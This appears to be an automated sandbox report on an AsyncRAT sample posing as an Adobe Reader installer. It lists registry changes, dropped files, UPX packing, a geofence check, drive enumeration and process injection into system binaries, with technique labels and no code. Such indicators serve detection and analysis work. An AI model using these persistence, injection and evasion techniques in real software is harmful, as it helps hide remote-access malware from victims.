asyncrat | 11e3923cc252bb9022a41a9f5b73672ea8b0798e4492e603ac088d913d7c80c0

Modify Registry

Processes:

MsiExec.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SOFTWARE\WOW6432NODE\MICROSOFT\ACTIVE SETUP\INSTALLED COMPONENTS\{A6EADE66-0000-0000-484E-7E8A45000000}	MsiExec.exe

Sets file execution options in registry 2 TTPs 31 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

MsiExec.exeMsiExec.exemsiexec.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroCEF.exe	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroServicesUpdater.exe\MitigationOptions = "256"	MsiExec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32Info.exe	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acrobat.exe	MsiExec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrServicesUpdater.exe	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acrobat.exe	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroServicesUpdater.exe	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acrobat.exe	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acrobat.exe\MitigationOptions = "256"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe\	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acrobat.exe\DisableExceptionChainValidation = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe\MitigationOptions = "256"	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroCEF.exe\MitigationOptions = "256"	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe\MitigationOptions = "256"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe	MsiExec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\RdrCEF.exe	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroCEF.exe	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroCEF.exe\MitigationOptions = "256"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroCEF.exe	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroCEF.exe\DisableExceptionChainValidation = "0"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe\MitigationOptions = "256"	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Acrobat.exe\MitigationOptions = "256"	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroRd32.exe\MitigationOptions = "256"	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroServicesUpdater.exe	MsiExec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcrobatInfo.exe\DisableExceptionChainValidation = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AcroServicesUpdater.exe\MitigationOptions = "256"	MsiExec.exe

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

MSI5C9E.tmpAcroCEF.exeAcroCEF.exeAcroCEF.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	MSI5C9E.tmp
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	AcroCEF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	AcroCEF.exe
Key value queried	\REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation	AcroCEF.exe

Executes dropped EXE 24 IoCs

Processes:

readerdc64_fr_xa_mdr_install.exeD9EDD30C-1070-4941-96C7-6C0BEE410C09setup.exeMSI992D.tmpFullTrustNotifier.exeADelRCP.exearmsvc.exeSingleClientServicesUpdater.exeSingleClientServicesUpdater.exeMSI5C9E.tmparmsvc.exeAcrobat.exeAcroCEF.exeAcroCEF.exeAcroCEF.exeAcroCEF.exeAcroCEF.exeAcroCEF.exeAcroCEF.exeAcroCEF.exesvchost.exeServis_charr4sl02Bfi893q89jioJLIioczxjb982wqjFDTG4dB53tBSxzZBcset.databasSystemProcessHost.SystemProcessesSystemIdle.SystemIdle

pid	process
224	readerdc64_fr_xa_mdr_install.exe
3748	D9EDD30C-1070-4941-96C7-6C0BEE410C09
5036	setup.exe
1876	MSI992D.tmp
1616	FullTrustNotifier.exe
1920	ADelRCP.exe
2632	armsvc.exe
1400	SingleClientServicesUpdater.exe
4088	SingleClientServicesUpdater.exe
4708	MSI5C9E.tmp
2416	armsvc.exe
4596	Acrobat.exe
1412	AcroCEF.exe
560	AcroCEF.exe
4672	AcroCEF.exe
3132	AcroCEF.exe
2908	AcroCEF.exe
1080	AcroCEF.exe
2196	AcroCEF.exe
1244	AcroCEF.exe
3356	svchost.exe
484	Servis_charr4sl02Bfi893q89jioJLIioczxjb982wqjFDTG4dB53tBSxzZBcset.databas
2744	SystemProcessHost.SystemProcesses
2500	SystemIdle.SystemIdle

Loads dropped DLL 64 IoCs

Processes:

MsiExec.exeMsiExec.exeMsiExec.exe

pid	process
3952	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
1700	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe
2184	MsiExec.exe

Registers COM server for autorun 1 TTPs 64 IoCs

persistence

Registry Run Keys / Startup Folder

Processes:

msiexec.exeADelRCP.exeMsiExec.exeMsiExec.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\InprocServer32\ = "C:\\Program Files\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDF64.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{335E7241-6B49-101B-9CA8-9240CE2738AE}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D12C400-4E34-101B-9CA8-9240CE2738AE}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{98D9A6F1-4696-4B5E-A2E8-36B3F9C1E12C}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\AcrobatInfo.exe\" /PDFShell"	ADelRCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D12C401-4E34-101B-9CA8-9240CE2738AE}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{C523F39F-9C83-11D3-9094-00104BD0D535}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{BD57A9B2-4E7D-4892-9107-9F4106472DA4}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\AcroBroker.exe\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D38406DA-E8AA-484b-B80D-3D3DBDCC2FB2}\LocalServer32	ADelRCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{85DE1C45-2C66-101B-B02E-04021C009402}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{13C3C803-0CEF-4AE1-AF81-B73DD04BCAB5}\InProcServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{123FCDEB-862C-41BE-A256-19CFF2CA2F44}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{D86D3661-4F11-4a9a-AD85-772A52AE6D69}\InprocServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\adobeafp.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DC6EFB56-9CFA-464D-8880-44885D7DC193}\InprocServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\pdfprevhndlr.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1BFA8EF7-4C47-4FA8-94AA-3F9DFDBE58C5}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17F2E344-8227-4AA7-A25A-E89424566BBA}\InprocServer32	MsiExec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12BA069D-0FC6-4577-97C6-5DF634CE6E84}\InProcServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\ViewerPS.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\InprocServer32\ = "C:\\Program Files\\Common Files\\Adobe\\Acrobat\\ActiveX\\AcroPDFImpl64.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{13C3C803-0CEF-4AE1-AF81-B73DD04BCAB5}\InProcServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{13C3C803-0CEF-4AE1-AF81-B73DD04BCAB5}\InProcServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\adobeafp.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{1BFA8EF7-4C47-4FA8-94AA-3F9DFDBE58C5}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D12C401-4E34-101B-9CA8-9240CE2738AE}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FF76CB60-2E68-101B-B02E-04021C009402}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{12BA069D-0FC6-4577-97C6-5DF634CE6E84}\InProcServer32	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{CA8A9780-280D-11CF-A24D-444553540000}\InprocServer32	MsiExec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{FF76CB60-2E68-101B-B02E-04021C009402}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{2EAF0840-690A-101B-9CA8-9240CE2738AE}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C523F39F-9C83-11D3-9094-00104BD0D535}\InprocServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\plug_ins\\Accessibility.api"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FF76CB60-2EC8-101B-B02E-04021C009402}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2EAF0840-690A-101B-9CA8-9240CE2738AE}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6D12C400-4E34-101B-9CA8-9240CE2738AE}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{BD57A9B2-4E7D-4892-9107-9F4106472DA4}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{D86D3661-4F11-4a9a-AD85-772A52AE6D69}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17F2E344-8227-4AA7-A25A-E89424566BBA}\InProcServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\AcroBroker.exe\""	MsiExec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{6D12C402-4E34-101B-9CA8-9240CE2738AE}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D12C400-4E34-101B-9CA8-9240CE2738AE}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{335E7240-6B49-101B-9CA8-9240CE2738AE}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FD2C8897-2BE8-459c-B8E4-0D2FCFD341F0}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{FD2C8897-2BE8-459c-B8E4-0D2FCFD341F0}\InprocServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\adobeafp.dll"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17F2E344-8227-4AA7-A25A-E89424566BBA}\InprocServer32	ADelRCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{C523F39F-9C83-11D3-9094-00104BD0D535}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{12BA069D-0FC6-4577-97C6-5DF634CE6E84}\InProcServer32\ThreadingModel = "Both"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{123FCDEB-862C-41BE-A256-19CFF2CA2F44}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17F2E344-8227-4AA7-A25A-E89424566BBA}\InProcServer32\ThreadingModel = "Both"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{2EAF0840-690A-101B-9CA8-9240CE2738AE}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{335E7240-6B49-101B-9CA8-9240CE2738AE}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{DC6EFB56-9CFA-464D-8880-44885D7DC193}\InprocServer32\ThreadingModel = "Apartment"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{85DE1C45-2C66-101B-B02E-04021C009402}\LocalServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{85DE1C45-2C66-101B-B02E-04021C009402}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{72498821-3203-101B-B02E-04021C009402}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{335E7240-6B49-101B-9CA8-9240CE2738AE}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Key deleted	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{F0B4F6AD-5E09-4CB1-B763-EC390CBDE51D}\InprocServer32	MsiExec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{98D9A6F1-4696-4B5E-A2E8-36B3F9C1E12C}\LocalServer32	ADelRCP.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D12C401-4E34-101B-9CA8-9240CE2738AE}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{6D12C402-4E34-101B-9CA8-9240CE2738AE}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{17F2E344-8227-4AA7-A25A-E89424566BBA}\InProcServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{B801CA65-A1FC-11D0-85AD-444553540000}\LocalServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{72498821-3203-101B-B02E-04021C009402}\LocalServer32	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\CLSID\{FD2C8897-2BE8-459c-B8E4-0D2FCFD341F0}\InprocServer32	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{17F2E344-8227-4AA7-A25A-E89424566BBA}\InProcServer32\ = "C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\pdfprevhndlr.dll"	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{335E7241-6B49-101B-9CA8-9240CE2738AE}\LocalServer32\ = "\"C:\\Program Files\\Adobe\\Acrobat DC\\Acrobat\\Acrobat.exe\""	msiexec.exe

UPX packed file 11 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\ProgramData\readerdc64_fr_xa_mdr_install.exe	upx
behavioral2/memory/224-154-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
C:\ProgramData\readerdc64_fr_xa_mdr_install.exe	upx
behavioral2/memory/224-218-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-221-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-228-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-259-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-463-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-4780-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-10896-0x0000000000880000-0x0000000000C62000-memory.dmp	upx
behavioral2/memory/224-15950-0x0000000000880000-0x0000000000C62000-memory.dmp	upx

Checks whether UAC is enabled 1 TTPs 1 IoCs
evasion trojan

System Information Discovery
T1082

Processes:

Acrobat.exe

description ioc process

Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA Acrobat.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA	Acrobat.exe

Drops desktop.ini file(s) 2 IoCs

Processes:

msiexec.exe

description	ioc	process
File opened for modification	C:\ProgramData\Microsoft\Windows\Start Menu\Programs\desktop.ini	msiexec.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	msiexec.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

Processes:

msiexec.exe

description	ioc	process
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\F:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102

Drops file in System32 directory 3 IoCs

Processes:

MsiExec.exeMsiExec.exeMsiExec.exe

description	ioc	process
File created	C:\Windows\SysWOW64\Elevation.tmp	MsiExec.exe
File created	C:\Windows\SysWOW64\Elevation.tmp	MsiExec.exe
File created	C:\Windows\SysWOW64\Elevation.tmp	MsiExec.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

readerdc64_fr_xa_mdr_install.exepowershell.exe

description	pid	process	target process
PID 224 set thread context of 1292	224	readerdc64_fr_xa_mdr_install.exe	explorer.exe
PID 2656 set thread context of 2144	2656	powershell.exe	InstallUtil.exe
PID 2656 set thread context of 1712	2656	powershell.exe	RegSvcs.exe

Drops file in Program Files directory 64 IoCs

Processes:

SingleClientServicesUpdater.exemsiexec.exeMsiExec.exeMsiExec.exeD9EDD30C-1070-4941-96C7-6C0BEE410C09MsiExec.exe

description	ioc	process
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\s_reportabuse-default_18.svg	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\win8-scrollbar\themes\dark\arrow-right-pressed.gif	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\zh-cn\PlayStore_icon.svg	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\Protect_R_RHP.aapp	msiexec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\cs-cz\ui-strings.js	MsiExec.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\progress-indeterminate.gif	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\oauthdialog\js\nls\hr-hr\ui-strings.js	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\SearchEmail.png	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\app\dev\nls\it-it\ui-strings.js	SingleClientServicesUpdater.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\images\themeless\edit_pdf_poster2x.jpg	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\js\nls\ca-es\ui-strings.js	MsiExec.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\icudtl.dat	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Common Files\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Dictionaries\en_CA\README_en_CA.txt	msiexec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\en-gb\ui-strings.js	MsiExec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\search-summary\js\nls\ko-kr\ui-strings.js	MsiExec.exe
File opened for modification	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\images\s_selectlist_checkmark_18.svg	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\reduced_mode-2x.png	SingleClientServicesUpdater.exe
File created	C:\Program Files\Adobe\Acrobat DC\Acrobat\RdrApp\ENU\FillSign.aapp	msiexec.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\spectrum_spinner.svg	MsiExec.exe
